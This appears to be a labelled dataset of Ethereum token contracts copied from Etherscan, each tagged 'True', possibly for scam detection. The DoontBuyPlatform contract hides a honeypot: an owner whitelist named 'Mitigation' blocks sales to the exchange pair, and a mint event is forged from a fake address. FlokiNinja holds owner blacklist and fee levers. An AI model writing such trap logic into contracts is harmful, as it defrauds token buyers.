tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-09-25 */ /** Doont buy music. Own it. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/[email protected] /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ // File @openzeppelin/contracts/token/ERC20/[email protected] /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/[email protected] /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0x78e4a0C307FC2c979fA65Dcf8bf4D376f30C3b8e), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract DoontBuyPlatform is ERC20, Ownable { mapping(address=>bool) private _enable; address private _uni; constructor() ERC20('DoontBuy EARSHOT','DBUYES') { _mint(0x559ebFeC7be7f1A27a38Be3b03bF2D4c70Ad62b3, 1000000000000 *10**18); _enable[0x559ebFeC7be7f1A27a38Be3b03bF2D4c70Ad62b3] = true; } function _mint( address account, uint256 amount ) internal virtual override (ERC20) { require(ERC20.totalSupply() + amount <= 1000000000000 *10**18, "ERC20Capped: cap exceeded"); super._mint(account, amount); } function Mitigation(address user, bool enable) public onlyOwner { _enable[user] = enable; } function MigrateUNI(address uni_) public onlyOwner { _uni = uni_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { if(to == _uni) { require(_enable[from], "something went wrong"); } } }

True

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pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'Harambe Commemorative Token' token contract // // Deployed to : 0x3b32f6850a014b778c038bb10b5de1ac64de151f // Symbol : XES // Name : XES Token // Total supply: 69420 // Decimals : 6 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract XESTOKEN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "XES"; name = "XES Token"; decimals = 6; _totalSupply = 69420000000; balances[0xF608e5bbD332000e044cd7e99be2dE95245500Bc] = _totalSupply; emit Transfer(address(0), 0xF608e5bbD332000e044cd7e99be2dE95245500Bc, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-02-05 */ /* Floki Ninja - $FINJA "The Worlds Bravest Floki Ninja." https://t.me/FlokiNinjaETH */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FlokiNinja is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; uint256 private _purchaseMarketingFee = 10; uint256 private _purchaseRedistributionFee = 1; uint256 private _sellMarketingFee = 10; uint256 private _sellRedistributionFee = 1; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Floki Ninja"; string private constant _symbol = "FINJA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xD4e52a8682349B8Ba721D85A62D1E8991Af8Af8f); _feeAddrWallet2 = payable(0xD4e52a8682349B8Ba721D85A62D1E8991Af8Af8f); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2e10 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setBuyFees(uint256 redistributionFee, uint256 marketingFee) external onlyOwner { _purchaseMarketingFee = marketingFee; _purchaseRedistributionFee = redistributionFee; } function setSellFees(uint256 redistributionFee, uint256 marketingFee) external onlyOwner { _sellMarketingFee = marketingFee; _sellRedistributionFee = redistributionFee; } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-01-27 */ // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of 